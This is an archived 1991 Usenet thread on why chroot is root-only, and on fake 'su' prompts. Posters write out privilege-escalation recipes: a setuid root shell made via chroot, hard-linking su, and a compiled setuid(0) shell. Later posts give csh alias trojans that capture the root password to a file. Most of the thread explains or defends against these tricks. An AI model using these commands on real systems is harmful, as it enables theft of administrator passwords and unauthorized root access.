Chroot system call
Ramon Dominguez
=>% mkdir ~/etc
=>% cp /etc/passwd ~/etc/passwd
=>% emacs ~/etc/passwd
=>% cp /bin/sh ~/rootsh
=>% chroot ~
=>% su
=># chown root.wheel rootsh
=># chmod u+s rootsh
=># exit
=>% exit
=>
=>login: user
=>Password:
=>
=>% ./rootsh
Which "su" is that you're using? It can't be /bin/su since you've
already chroot'ed into your own home directory. Of course, if can
create suid root programs in your home directory there are other
security problems...
--
Ramon Dominguez | "Work is the curse of the drinking class"
Convex Computer Corporation | --Oscar Wilde
ra...@convex.com | "Ceci n'est pas une .signature file"
Neil Rickert
>
> Can anyone tell me why chroot is a SU only call?
>Since it only affects the processes idea of what root is,
>what obvious security breach would chroot open up if it
>wasn't SU only?
Various programs make assumptions about what is a safe path. For example
/bin/mail assumes it is ok to write to /usr/spool/mail/root with the
permissions of root.
chroot() allows you to change the meaning of paths, and possibly
break security by fooling software.
--
=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
Neil W. Rickert, Computer Science <ric...@cs.niu.edu>
Northern Illinois Univ.
DeKalb, IL 60115 +1-815-753-6940
Jasbir Singh
>In article <CKD.91Oc...@eff.org> c...@eff.org (Christopher Davis) writes:
>=>% mkdir ~/etc
>=>% cp /etc/passwd ~/etc/passwd
>=>% emacs ~/etc/passwd
>=>% cp /bin/sh ~/rootsh
>=>% chroot ~
>=>% su
>=># chown root.wheel rootsh
>=># chmod u+s rootsh
>=># exit
>=>% exit
>=>
>=>login: user
>=>Password:
>=>
>=>% ./rootsh
>Which "su" is that you're using? It can't be /bin/su since you've
>already chroot'ed into your own home directory. Of course, if can
>create suid root programs in your home directory there are other
>security problems...
>--
Another reason for not allowing read access on your executables.
Jyrki Kuoppala
>% mkdir ~/etc
>% cp /etc/passwd ~/etc/passwd
>% emacs ~/etc/passwd
>% cp /bin/sh ~/rootsh
% mkdir ~/bin
% ln /bin/* ~/bin
>% chroot ~
>% su
># chown root.wheel rootsh
etc.
Tom Christiansen
:Another reason for not allowing read access on your executables.
Wrong. You're promoting security through obscurity, a tactic that
is useless at best, disastrous at worst.
Does your system allow you to get coredumps for executables you
can't read? Most do. Or how about using ptrace on them, perhaps from an
external attach from a debugger? Even if you're safe from both
these, it's still a silly practice.
--tom
Warner Losh
>Another reason for not allowing read access on your executables.
In this case that wouldn't buy you a thing. You have to be uid 0 to change
your uid. However, if you have a copy of su around, then it won't be setuid
0 anymore, and no good for suing to root.
If chroot() were doable by anybody, AND su was on the same partition that you
had write access to, then you could do a hard link to su (w/o any privs
needed) and then run it after the chroot(). However, not allowing read access
on su wouldn't solve this problem either. Recall that hard links store just
one number, rather than a path so aren't effected by the chroot() call.
While there may be some valid reasons for not allowing read access on your
executables, this ain't one of them. 1) chroot() is a uid 0 only call. 2)
even if it wasn't, the suid bit gets cleared on copy. 3) if you had write
access before, then you could still get to the files you are trying to
protect.
Warner
--
Warner Losh i...@Solbourne.COM MMP to DoD #882
"Red hair is caused by sugar and lust," the woman, who was blond, confided.
"Highly evolved beings do not indulge in sugar and lust." -- Tom Robbins
Christopher Davis
who> == who <w...@gandalf.UMCS.Maine.EDU>
who> Can anyone tell me why chroot is a SU only call?
who> Since it only affects the processes idea of what root is,
who> what obvious security breach would chroot open up if it
who> wasn't SU only?
% mkdir ~/etc
% cp /etc/passwd ~/etc/passwd
% emacs ~/etc/passwd
% cp /bin/sh ~/rootsh
% chroot ~
% su
# chown root.wheel rootsh
# chmod u+s rootsh
# exit
% exit
login: user
Password:
% ./rootsh
;-)
--
Christopher Davis <c...@eff.org> | WEIRD QUOTES OF THE WEEK:
System Manager & Postmaster | "Carpe grepem."
Electronic Frontier Foundation | "Seize the WAIS?"
+1 617 864 0665 NIC: [CKD1] | -- two overworked technodweebs
w...@gandalf.umcs.maine.edu
Can anyone tell me why chroot is a SU only call?
w...@gandalf.umcs.maine.edu
|>
|> who> == who <w...@gandalf.UMCS.Maine.EDU>
|>
|> who> Can anyone tell me why chroot is a SU only call?
|> who> Since it only affects the processes idea of what root is,
|> who> what obvious security breach would chroot open up if it
|> who> wasn't SU only?
|>
|> % mkdir ~/etc
|> % cp /etc/passwd ~/etc/passwd
|> % emacs ~/etc/passwd
|> % cp /bin/sh ~/rootsh
|> % chroot ~
|> % su
|> # chown root.wheel rootsh
|> # chmod u+s rootsh
|> # exit
|> % exit
|>
|> login: user
|> Password:
|>
|> % ./rootsh
|>
|> ;-)
Thanks for all the replies. Now I know :) Too bad,
chroot could have been useful for legitimate purposes; restricting
access to certain directories. Don't people have better things to
do then poke holes in UNIX security?
Rik Harris
>ra...@convex.com (Ramon Dominguez) writes:
>>In article <CKD.91Oc...@eff.org> c...@eff.org (Christopher Davis) writes:
>>Which "su" is that you're using? It can't be /bin/su since you've
>>already chroot'ed into your own home directory. Of course, if can
>>create suid root programs in your home directory there are other
>>security problems...
>Another reason for not allowing read access on your executables.
but make sure they are on a different file-system to a writeable area.
Eg if you have /bin and /tmp on the same file system (done often on
small systems, at least) you can hard-link su to /tmp/bin/su and
chroot /tmp.
Disclaimer: I haven't tried it :-)
rik.
--
Rik Harris - rik.h...@fcit.monash.edu.au || Systems Programmer
+61 3 571-2895 (AH & ans.mach) +61 3 573-2186 (BH) || and Administrator
Faculty of Computing and Information Technology, || Vic. Institute of
Caulfield Campus, Monash University, Australia || Forensic Pathology
Rik Harris
>ra...@convex.com (Ramon Dominguez) writes:
>>Which "su" is that you're using? It can't be /bin/su since you've
>>already chroot'ed into your own home directory. Of course, if can
>>create suid root programs in your home directory there are other
>>security problems...
>>--
>Another reason for not allowing read access on your executables.
Oh, and make sure all other machines around of the same architecture
and OS have their executables are closed too (that includes the whole
world, btw ;-)
Andrew Rutherford
[ ... the commands deleted ... ]
>Which "su" is that you're using? It can't be /bin/su since you've
>already chroot'ed into your own home directory. Of course, if can
>create suid root programs in your home directory there are other
>security problems...
You do it all with hard links. That way you don't have to
create any files, just a standard ln (as another poster has pointed
out.) The restriction this does make is that you must be on the same
partition as these commands - /tmp for the root partition or /usr/tmp
for /usr/bin should do nicely. Note that symbolic links are followed
according to the chroot'ed processes idea of root, so it becomes
somewhat more difficult on (say) a SunOS system with /, /var, /usr,
and /home all on different partations (quite common on servers), as
the executables are in /usr, /usr/tmp is a symbolic link to /var/tmp,
so you can't create your chroot'ed environment there as it isn't on
the same directory as the executables. One reason for having all
setuid executables on a partition non-writable by normal users.
Note that I am not saying SunOS is secure if you make chroot
setuid, as there are probably still ways of doing something similar.
There's always ways of doing something you hadn't though of at the
time, as was clearly the case when people decided to make chroot
setuid in the first place. However, having this setup with all setuid
programs on a non-user writeable partition is something I would
recommend, as it helps against a variety of attacks - including
mounting it read-only to stop someone leaving a back door if they do
break in.
/*
* Andrew Rutherford and...@itd.adelaide.edu.au
* +61 8 228 5661 Real Programmers always confuse Christmas and
* Room 1069, Adelaide Uni Halloween because OCT 31 == DEC 25 !
*/
Mark Garrett
> In article <CKD.91Oc...@eff.org>, c...@eff.org (Christopher Davis) writes:
> |>
> |> who> Can anyone tell me why chroot is a SU only call?
> |> who> Since it only affects the processes idea of what root is,
> |> who> what obvious security breach would chroot open up if it
> |> who> wasn't SU only?
> |> % mkdir ~/etc
> |> % cp /etc/passwd ~/etc/passwd
> |> % emacs ~/etc/passwd
remove the passwd from the root entry
and if its ultrix cp /etc/svf.conf ~/etc
edit svf.conf and put security back to BSD
> |> % cp /bin/sh ~/rootsh
% chroot ~ su -
> |> # chown root rootsh
> |> # chmod u+s rootsh
> |> # exit
> |> % ~/etc/rootsh
# echo "Now do what you like to the system"
# echo "ie. rm -rf /"
>
> Thanks for all the replies. Now I know :) Too bad,
I don't think this 'who' user is very legit ?
> chroot could have been useful for legitimate purposes; restricting
> access to certain directories. Don't people have better things to
> do then poke holes in UNIX security?
chroot may still be used for legitimate purposes by users that already
have root access, ie the sysadmin. As for anybody else they just
don't need chroot for legit purposes!
This was a CERT on ultrix, I do hope all you ultrix admins did
a chmod 500 /usr/bin/chroot ?
Cheers
Mark :)
--
Mark Garrett Internet: ma...@loki.une.edu.au Phone: +61 66 20 3859
University of NewEngland, Northern Rivers, Lismore NSW Australia.
Jon Allen Boone
chroot wouldn't let me execute because it claimed I wasn't the owner
of the directory that I was trying to chroot to.
-=> iain <=-
Chris McCoy
I suspect that most who try this will find the same - unless of
course you already are running as 'root'. If you check the man
pages, you'll probably find a line similar to the following on
most systems:
(Sun) "This command is restricted to the super-user."
(HP) "This command is restricted to users with appropriate privileges."
--
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Chris McCoy : INTERNET mc...@cs.iastate.edu
Computer Science Department :
Iowa State University : VOICE (515) 294-9727
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Stefan Esser
|> In article <CKD.91Oc...@eff.org> c...@eff.org (Christopher Davis) writes:
|> =>% mkdir ~/etc
|> =>% cp /etc/passwd ~/etc/passwd
|> =>% emacs ~/etc/passwd
|> =>% cp /bin/sh ~/rootsh
|> =>% chroot ~
|> =>% su
|> =># chown root.wheel rootsh
|> =># chmod u+s rootsh
|> =># exit
|> =>% exit
|> =>
|> =>login: user
|> =>Password:
|> =>
|> =>% ./rootsh
|>
|> Which "su" is that you're using? It can't be /bin/su since you've
|> already chroot'ed into your own home directory. Of course, if can
|> create suid root programs in your home directory there are other
|> security problems...
How about doing the above on the same file system were the root directory
resides, eg. (requiring / and /tmp in the same filesystem):
mkdir /tmp/ROOT
...
ln /bin/su /tmp/ROOT/bin/su
chroot /tmp/ROOT
...
You don't have to create a suid program, if you are able to link it into your
directory tree!
Although the above doesn't work (since chroot can only be used by root),
this is one further reason I prefer to have the root directory on a partition
without any user writable directories.
(Imagine, there's a known bug in a suid program and a user gets to know
about it and gets a link to it before you replace it. He'll be able to use the
old version and if you don't regularly check the user directories for suid
programs, you won't notice anything !
HP's workstations generally have /, /tmp, /usr/tmp and the user directories
all on the same partition, since HP-UX doesn't support disk partitions on
workstations. Thus the above can happen easily, if the workstation has
local binary directories (dataless configuration) !)
Stefan Esser
--
Stefan Esser, Institute of Nuclear Physics, University of Cologne, Germany
s...@IKP.Uni-Koeln.DE [134.95.192.50]
Io's Hatchet
[ .. deleted stuff .. ]
>Which "su" is that you're using? It can't be /bin/su since you've
>already chroot'ed into your own home directory. Of course, if can
>create suid root programs in your home directory there are other
>security problems...
Ever heard of hard links?
--
--------------------------------------------------------------------------------
These opinions are *not* my own, they are the | Paul Hatchman
result of years of social engineering, and the| pdha...@socs.uts.edu.au
opinions of my parent, friends and educators | pa...@uts.edu.au
Mark Garrett
> Ever heard of hard links?
Yes , but this requires you to be on the same partition as /bin/su
(in Ultrix its symlinked to /usr/bin/su)
So this is a good reason to get /tmp and /usr/tmp as separte
file systems and make sure user file systems are separte to /usr
Cheers
Mark :)
--
Mark Garrett Internet: ma...@loki.une.edu.au Phone: +61 66 20 3859
University of New England, Northern Rivers, Lismore NSW Australia.
Anthony Baxter
>From article <pdhatchm.689145475@syzygy>, by pdha...@socs.uts.edu.au (Io's Hatchet):
>> Ever heard of hard links?
> Yes , but this requires you to be on the same partition as /bin/su
>(in Ultrix its symlinked to /usr/bin/su)
> So this is a good reason to get /tmp and /usr/tmp as separte
>file systems and make sure user file systems are separte to /usr
> Cheers
> Mark :)
Doesnt help though, if your machine gets its usr disk from somewhere else
through NFS;
You just remount the /usr disk under where you want to chroot().
(On these Decstations, at least, anyone can use mount)
(I know this works, because I tried it :-)
Anthony
--
Anthony Baxter.
ant...@nellads.cc.monash.edu.au
-rw-rw-rw- The File Protection Of The Beast.
Rob Stampfli
to disable potentially harmful global interactions (restricting mknod(),
stime(), kill(), and perhaps nice(), etc, when chrooted), it would be possible
to give someone superuser access in a chrooted subsystem without compromising
the integrity of the overall system. They could, of course wreak havoc with
their little part of the system, but could be prevented from breaching the
security of the external part of the system. Has anyone else considered this?
--
Rob Stampfli, 614-864-9377, r...@kd8wk.uucp (osu-cis!kd8wk!res), kd...@n8jyv.oh
Jeff Beadles
>On a related note, it seems to me that with a few minor changes in the kernel
>to disable potentially harmful global interactions (restricting mknod(),
>stime(), kill(), and perhaps nice(), etc, when chrooted), it would be possible
>to give someone superuser access in a chrooted subsystem without compromising
>the integrity of the overall system. They could, of course wreak havoc with
>their little part of the system, but could be prevented from breaching the
>security of the external part of the system. Has anyone else considered this?
Don't forget chown and chmod. What if I create a setuid /bin/sh in my
chrooted filesystem as root, and then run it as my "normal" user" outside of
the chrooted area.
For example, if the chrooted area is "/chroot":
(as the chrooted root user)
chown root /bin/sh
chmod 4755 /bin/sh
Then, login as a "mortal" user, and run /chroot/bin/sh...
Needless to say, this would not be a good thing...
-Jeff
--
Jeff Beadles je...@onion.rain.com
Barry Margolin
>r...@colnet.uucp (Rob Stampfli) writes:
>
>>On a related note, it seems to me that with a few minor changes in the kernel
>>to disable potentially harmful global interactions (restricting mknod(),
>>stime(), kill(), and perhaps nice(), etc, when chrooted), it would be possible
>>to give someone superuser access in a chrooted subsystem without compromising
>>the integrity of the overall system.
>Don't forget chown and chmod. What if I create a setuid /bin/sh in my
>chrooted filesystem as root, and then run it as my "normal" user" outside of
>the chrooted area.
Well, in addition to preventing this limited superuser from accessing
outside his domain, you have to prevent ordinary users from getting *into*
his domain. You can do this by putting an inaccessible directory above his
root:
# mkdir /chroot
# mkdir /chroot/chroot1
# chmod 500 /chroot
# chown chroot /chroot
Then have him chroot() to /chroot/chroot1.
But this is actually a pretty silly exercise. I think you'd actually have
to disable almost *all* privileged system calls, not just the few Rob
listed above. For instance, connect() shouldn't be allowed to use
privileged ports.
Basically, the only special privilege you can leave is the ability to
ignore file protections. But you can get that simply by doing:
# chown -R chroot /chroot
# chmod -R 700 /chroot
Most other superuser privileges can have impact on the system and/or other
users.
--
Barry Margolin, Thinking Machines Corp.
bar...@think.com
{uunet,harvard}!think!barmar
Jim Davis
rs> On a related note, it seems to me that with a few minor changes in
rs> the kernel to disable potentially harmful global interactions
rs> (restricting mknod(), stime(), kill(), and perhaps nice(), etc, when
rs> chrooted), it would be possible to give someone superuser access in
rs> a chrooted subsystem without compromising the integrity of the
rs> overall system. They could, of course wreak havoc with their little
rs> part of the system, but could be prevented from breaching the security
rs> of the external part of the system. Has anyone else considered this?
Yes, it has been considered. Under most assumptions about the changes
to the OS, it still turns out either that having superuser capabilities in
a chrooted area compromises the entire system, or that the resulting
capability is not useful.
Suppose that the chrooted area can be written to by an ordinary
user (OU); or merely read by an OU with the CSU able to compile
a program or read a device. Then the CSU (chrooted-super-user)
can make a set-uid program from the compilation of:
main(){setuid(0);execl("/bin/sh","/bin/sh",0);}
and leave it for the OU to take over with.
(Note that not letting the CSU use a compiler doesn't stop
this since an OU can pass it tiny executable in.)
If the CSU can access device files (e.g. /dev/kmem) then all is lost.
So let's see what system calls we need to worry about.
chmod() - To prevent setting set-UID bit.
chown() - To prevent giving set-UID files away to new users.
kill() -
mknod() - To prevent the creation of device files
mount() -
open() - To prevent placing new data in existing set-UID programs
ptrace() - To prevent CSU from attaching to existing processes (where possible)
reboot() -
renice() - on systems that have it
stime() -
The only functions that we can safely leave to this
CSU are creating new files, and reading existing files.
Almost any other functionality is abusable.
--
Jim Davis (James W. Davis) Palo Alto, CA (415) 857-4036
da...@hplabs.hp.com {any_of_the_biggies}!hplabs!davis
Rik Harris
>On a related note, it seems to me that with a few minor changes in the kernel
>to disable potentially harmful global interactions (restricting mknod(),
>stime(), kill(), and perhaps nice(), etc, when chrooted), it would be possible
>to give someone superuser access in a chrooted subsystem without compromising
>the integrity of the overall system. They could, of course wreak havoc with
>their little part of the system, but could be prevented from breaching the
>security of the external part of the system. Has anyone else considered this?
The problem occurs when that user does something like create a set-uid
root shell, and that same file-system is readable by other people.
When the user goes back to the normal system, and the file-system is
still there, they can run it, and have root on the whole system.
What it looks like you are trying to do is allow people to "play" on a
unix system and see what they can do. A better solution is what we
did here: buy an old unix machine cheaply from somewhere (we got an
AT&T 3b2 for ~ $A1000). Keep the restoration tapes handy, and play to
you're heart's content. Learnt some valuable stuff, and some not so
valuable stuff (like: what happens when you delete /dev? how about
removing the /tmp directory? lets see if we can crash the system with
a user proces...etc). If this is not what you wanted, then just
ignore this paragraph :-)
As for chroot, etc. It seems a little too dangerous to be worthwhile
(particularly if you are screwing with the kernel :-)
Rogier Wolff
>r...@colnet.uucp (Rob Stampfli) writes:
>>On a related note, it seems to me that with a few minor changes in the kernel
>>to disable potentially harmful global interactions (restricting mknod(),
>>stime(), kill(), and perhaps nice(), etc, when chrooted), it would be possible
>>to give someone superuser access in a chrooted subsystem without compromising
>>the integrity of the overall system. They could, of course wreak havoc with
>>their little part of the system, but could be prevented from breaching the
>>security of the external part of the system. Has anyone else considered this?
>The problem occurs when that user does something like create a set-uid
>root shell, and that same file-system is readable by other people.
>When the user goes back to the normal system, and the file-system is
>still there, they can run it, and have root on the whole system.
>What it looks like you are trying to do is allow people to "play" on a
>unix system and see what they can do.
Yes. That would be fun. That sounds like a virtual machine to me. This is
also what the chroot system call is for, create a virtual environment, where
possible damage is less than for the whole system.
On the subject of virtual machines, I once compiled a PC simulator for our
SPARCs, booted the thing, and had it run MINIX, a unix like OS. I logged in
on the PC as root, and at that moment our sysop came in, and saw the "#"
prompt......
--
EMail: wo...@duteca.et.tudelft.nl ** Tel +31-15-783644 or +31-15-142371
Rik Harris
>r...@nella4.cc.monash.edu.au (Rik Harris) writes:
>>r...@colnet.uucp (Rob Stampfli) writes:
>>>On a related note, it seems to me that with a few minor changes in the kernel
>>>to disable potentially harmful global interactions (restricting mknod(),
>>>stime(), kill(), and perhaps nice(), etc, when chrooted), it would be possible
>>>to give someone superuser access in a chrooted subsystem without compromising
>>>the integrity of the overall system. They could, of course wreak havoc with
>>>their little part of the system, but could be prevented from breaching the
>>>security of the external part of the system. Has anyone else considered this?
>>What it looks like you are trying to do is allow people to "play" on a
>>unix system and see what they can do.
>Yes. That would be fun. That sounds like a virtual machine to me. This is
>also what the chroot system call is for, create a virtual environment, where
>possible damage is less than for the whole system.
chroot provides a virtual *file system*, almost a virtual environment,
but nowhere near a virtual machine.
>On the subject of virtual machines, I once compiled a PC simulator for our
>SPARCs, booted the thing, and had it run MINIX, a unix like OS. I logged in
>on the PC as root, and at that moment our sysop came in, and saw the "#"
>prompt......
:-) hehe
Isn't there a Minix version available for SPARCs already?
>EMail: wo...@duteca.et.tudelft.nl ** Tel +31-15-783644 or +31-15-142371
Jesse Buckley
[Stuff deleted.]
>>On the subject of virtual machines, I once compiled a PC simulator for our
>>SPARCs, booted the thing, and had it run MINIX, a unix like OS. I logged in
>>on the PC as root, and at that moment our sysop came in, and saw the "#"
>>prompt......
>:-) hehe
One of my favorite csh things is the following...
alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; stty echo ; echo ""; set prompt = "# "'
--
Frank 'Scruff' Miller
>
>One of my favorite csh things is the following...
>
>alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; stty echo ; echo ""; set prompt = "# "'
Such 'trojan horses' have to be the cheesiest hack about ...
A long time ago, in a university computing center far, far away, many
students were brought to a 'student conduct board' for such behavior.
I can respect an elegant hack that demonstrates a deeper understanding
of an OS ...
The best tread quietly.
Frank
John Navarra
>In article <1991Nov13....@pool.info.sunyit.edu> bu...@pool.info.sunyit.edu (Jesse Buckley) writes:
>>
>>One of my favorite csh things is the following...
>>
>>alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; stty echo ; echo ""; set prompt = "# "'
>
>Such 'trojan horses' have to be the cheesiest hack about ...
dumb enough to fall for the alias you define DESERVES to get f*cked with.
You *will* get the root passwd with this alias (assuming you can create it
in his environment) but you are NOT giving him his root privs but instead
are giving him a "#" prompt. So any rootly thing he is trying to do won't
work! And it seems to me that if you are going to do an 'su' to root, you
WANT to do rootly things. Therefore, if this happened to me, and I got
some 'Permission denied' or whatever, the FIRST thing I would do is
'whoami' and find out that I am not root. Then, I would be VERY suspicious
since I suddenly have a '#' prompt! Then the root passwd would get changed
and certain history files, etc would be checked. Guess who would get f*cked
with then!
Gee, at the VERY least, you need to save the passwd somewhere
(usually done by mailing it to you), echo "Sorry", remove the alias, do
a rehash and let Joe Administrator think he has typed in his passwd wrong.
>The best tread quietly.
This is true. Silent but deadly. Actually, this Trojan Horse, if done
right, has a VERY high chance of succeding. I know very few sys-admins who
although very concerned with security, will not think twice if their 'su'
doesn't work correctly on the first try. Frankly, it is just a pain in the
ass to change the root passwd everytime you type it in wrong the first time
even given that there is a chance someone is trying the old trojan horse
trick. So, even though they might have wiped out many many holes in the
system - thus making the average hacker's life harder -- they may easily
fall prone to this old trick from a fairly novice programmer.
-tms
>
>Frank
--
From the Lab of the MaD ScIenTiST:
nav...@casbah.acns.nwu.edu
Hans-Christoph Deeken
> Actually, this Trojan Horse, if done
> right, has a VERY high chance of succeding. I know very few sys-admins who
> although very concerned with security, will not think twice if their 'su'
> doesn't work correctly on the first try. Frankly, it is just a pain in the
> ass to change the root passwd everytime you type it in wrong the first time
> even given that there is a chance someone is trying the old trojan horse
> trick. So, even though they might have wiped out many many holes in the
> system - thus making the average hacker's life harder -- they may easily
> fall prone to this old trick from a fairly novice programmer.
But this trojan horse can't bite you, if you always do a "/bin/su -" instead
of just plain "su". The absolute filename prevents a faked su and the "-"
prevents you from other trojan horses in the path (of the user-id su was
invoked from).
Nothing is perfect, but using this approach should reduce the number of
tricks a ordinary (= non-priviliged) user can do to the sys-admin.
Hannes
--
Hans-Christoph Deeken (dee...@iti.informatik.th-darmstadt.de)
TH Darmstadt, Germany (I don't speak for THD, they don't speak for me)
"Lying to the window manager is considered uncool. -paul asente"
David Canzi
>But this trojan horse can't bite you, if you always do a "/bin/su -" instead
>of just plain "su". The absolute filename prevents a faked su and the "-"
>prevents you from other trojan horses in the path (of the user-id su was
>invoked from).
Since the "trojan horse" in this thread was an alias:
Script started on Thu Nov 14 05:43:00 1991
watserv1% alias /bin/su echo blargh
watserv1% /bin/su -
blargh -
watserv1%
script done on Thu Nov 14 05:43:32 1991
--
David Canzi
Roy Rapoport
Oh, please!!
I ASSUME the guy wasn't serious -- this thing is NOT a trojan horse, just a
joke!!
About a year ago I was cracking on my cluster, and the SysAdmins strongly
suspected this, but usually did not have proof of this. My favorite thing was
alias su 'echo -n "password:" ; stty -echo ; set bla=$< ; stty echo ; echo
"" ; set prompt="# " ; alias whoami echo "root" ; alias which echo
"/usr/ucb/\!*"'
and do this when one of the sysadmins was around. . . Had great results for
the first time on most of them :-)
Notice it changes your 'whoami', and 'which'. Obviously, you can do
'alias whoami' to find out, but the point was that it was NOT a security
hole, just a little joke. . .
Roy Rapoport r...@ocf.berkeley.edu
Disclaimer: It wasn't me!! It was a fake post or something!! I would
never write anything like that!!
Jesse Buckley
I agree. The idea was to give our SysAdmin (who I used to joke around
with.) the idea that I could su, not to trick him.
--
A.J.C. Blyth
There is a really simple way round this problem that ALL sys admin should
so when ever they want to su. (Arguably all users should)
/bin/su
If some one can write to /bin then root has more that a little problem.
Andrew.
( the simple answers are always the best )
Venkatesh Gopinath
How does this variation of the above alias sound?
alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; echo $tmp > /tmp/xx ; echo "\nSorry \n" ; unalias su'
good hacks wipe thier tracks ?
anyway, using /bin/su is the safest
P.G
Joe Buck
>How does this variation of the above alias sound?
>
>alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; echo $tmp > /tmp/xx ; echo "\nSorry \n" ; unalias su'
>
>good hacks wipe thier tracks ?
>
>anyway, using /bin/su is the safest
/bin/su is no safer. Apparently you didn't know (I didn't) that you can
say
alias /bin/su ....
so /bin/su is no protection at all.
--
--
Joe Buck
jb...@ohm.berkeley.edu {uunet,ucbvax}!ohm.berkeley.edu!jbuck
Jitendra Kavathekar
am i missing something here... can't you just do
\su
to override the alias??
--
_/_ Jitendra A. Kavathekar
o _ _ / internet: je...@cs.uwm.edu
/_</_</_<__ home phone: (414) 224 - 1642
-'
Rob Stampfli
>>
>ass to change the root passwd everytime you type it in wrong the first time
>even given that there is a chance someone is trying the old trojan horse
>trick. So, even though they might have wiped out many many holes in the
>system - thus making the average hacker's life harder -- they may easily
>fall prone to this old trick from a fairly novice programmer.
That's why I created the following ksh alias in my own account:
alias su="echo Error: Use /bin/su"
Now, I never use just "su", even from accounts where the alias would
not exist, but a trojan might.
Steven W. Litras
::: Since the "trojan horse" in this thread was an alias:
:::
::: Script started on Thu Nov 14 05:43:00 1991
::: watserv1% alias /bin/su echo blargh
::: watserv1% /bin/su -
::: blargh -
Well, if you're going to do that:
alias su 'echo "segmentation fault (core dumped)"'
Chris Siebenmann
| /bin/su is no safer. Apparently you didn't know (I didn't) that you can
| say
| alias /bin/su ....
! : hawkwind.utcs ; fn /bin/su {echo oops}
! : hawkwind.utcs ; whatis /bin/su
! fn /bin/su {echo oops}
! : hawkwind.utcs ; /bin/su
! Password:
! Sorry
! : hawkwind.utcs ; echo $SHELL
! /local/bin/rc
Not everyone uses csh, and not everyone is foolish enough to su from
random accounts, assuming your su doesn't insist on the invoker being
in a special group in the first place. Our su insists both on being
invoked with an absolute path and on the person running it being in
group wheel before you can su to root. A pity we had to modify the
source code to do it, instead of it working that way out of the box.
--
/bin/csh - Just say No
c...@hawkwind.utcs.toronto.edu ...!{utgpu,utzoo,watmath}!utgpu!cks
John Navarra
>
>
First off, please don't quote entire articles and stick your
comments at the end. It is really annoying to go thru a couple pages of
other people's stuff (even when you wrote 90% of it) to see if the
reply has any value.
>There is a really simple way round this problem that ALL sys admin should
>so when ever they want to su. (Arguably all users should)
>
>/bin/su
>
This is NOT a simple way around the problem. Granted, it is safer
but '/bin/su' can be aliased too:
[casbah:26] ~ -> csh
casbah.acns.nwu.edu% alias /bin/su "echo 'got me' "
casbah.acns.nwu.edu% /bin/su
got me
This can be a bit more difficult to construct in other shells but
since were are talking a csh alias......
>If some one can write to /bin then root has more that a little problem.
True, but, we are somehow assuming that we can make aliases for
the sys-admin too. ;-)
-tms
>
>
Andrew.
>
>( the simple answers are always the best )
Casper H.S. Dik
Ah, but *real* system administrators type:
\/bin/su -
Or do they? You should never a password on a terminal were a different user
is logged in. (Think of script etc).
In general, it shouldn't even be possible to su root from a ordinary login:
% su
You do not have permission to su root
and:
% login root
Root logins not allowed on this terminal.
That's what our users get.
Casper
--
| Casper H.S. Dik
| cas...@fwi.uva.nl
Maarten Litmaath
dmc...@watserv1.waterloo.edu (David Canzi) writes:
\[...]
\Since the "trojan horse" in this thread was an alias:
\
\Script started on Thu Nov 14 05:43:00 1991
\watserv1% alias /bin/su echo blargh
\watserv1% /bin/su -
\blargh -
\watserv1%
\script done on Thu Nov 14 05:43:32 1991
Try this:
\/bin/su -
or
'/bin/su' -
or
''/bin/su -
Note: the first 2 forms circumvent aliases _and_ builtins,
the last only takes care of aliases. Illustration:
$ csh
% \exit
exit: Command not found.
% 'exit'
exit: Command not found.
% ''exit
$
Chris Keane
>In article <1991Nov13.1...@wherever.com> fr...@wherever.com (Frank 'Scruff' Miller) writes:
>>In article <1991Nov13....@pool.info.sunyit.edu> bu...@pool.info.sunyit.edu (Jesse Buckley) writes:
>>>
>>>One of my favorite csh things is the following...
>>>
>>>alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; stty echo ; echo ""; set prompt = "# "'
>>
>>Such 'trojan horses' have to be the cheesiest hack about ...
>
> NO LIE! This is a stupid trojan horse at that! Any sys-admin who is
>dumb enough to fall for the alias you define DESERVES to get f*cked with.
>You *will* get the root passwd with this alias (assuming you can create it
>in his environment) but you are NOT giving him his root privs but instead
Wakey wakey! We were discussing how to give Sysadmins a heart failure, not
how to get the root passwd. You know, something like echoing
Nov 15 08:05:53 rufus su: 'su root' succeeded for hacker on /dev/ttyp1
onto the console when you know that the sysadmin is looking...
regards...
Chris Keane. State Bank NSW ch...@state.com.au
Unix Systems Administrator (Group Treasury) ph. +61 2 259 4459
Disclaimer: These are my own opinions, but I'm insane. What's your excuse?
Rob Stampfli
>>>
>>>alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; stty echo ; echo ""; set prompt = "# "'
Actually, I was rather fond of leaving an unassuming world-readable file
laying around in my home directory with a name like salary.info. The
contents of the file were (of course):
cat: cannot open salary.info
Jyrki Kuoppala
>There is a really simple way round this problem that ALL sys admin should
>so when ever they want to su. (Arguably all users should)
>
>/bin/su
>
Oh?
Script started on Fri Nov 15 00:58:43 1991
j...@sauna.cs.hut.fi '~' 1: alias /bin/su echo 'KukkuuReset'
j...@sauna.cs.hut.fi '~' 2: /bin/su
KukkuuReset
j...@sauna.cs.hut.fi '~' 3: ^D
script done on Fri Nov 15 00:59:32 1991
>( the simple answers are always the best )
Indeed. Try \su. Better yet, don't leave your terminal unattended or
your .cshrc (or whatever) world-writable if you use a root account and
don't want someone else to use it.
//Jyrki
Maxime Taksar
>Actually, I was rather fond of leaving an unassuming world-readable file
>laying around in my home directory with a name like salary.info. The
>contents of the file were (of course):
>
>cat: cannot open salary.info
>
than 'cat'! (Yes, I've been a BSD utility fanatic since the age of 10 --
literally).
--
---------------------------------------------------------------------
Maxime Taksar KC6ZPS | "You're ugly and your mama dresses you funny"
m...@diva.berkeley.edu | --bumper sticker
Hans-Christoph Deeken
>
> Script started on Thu Nov 14 05:43:00 1991
> watserv1% alias /bin/su echo blargh
> watserv1% /bin/su -
> blargh -
> watserv1%
> script done on Thu Nov 14 05:43:32 1991
Oops!!! :-(
Matthew Farwell
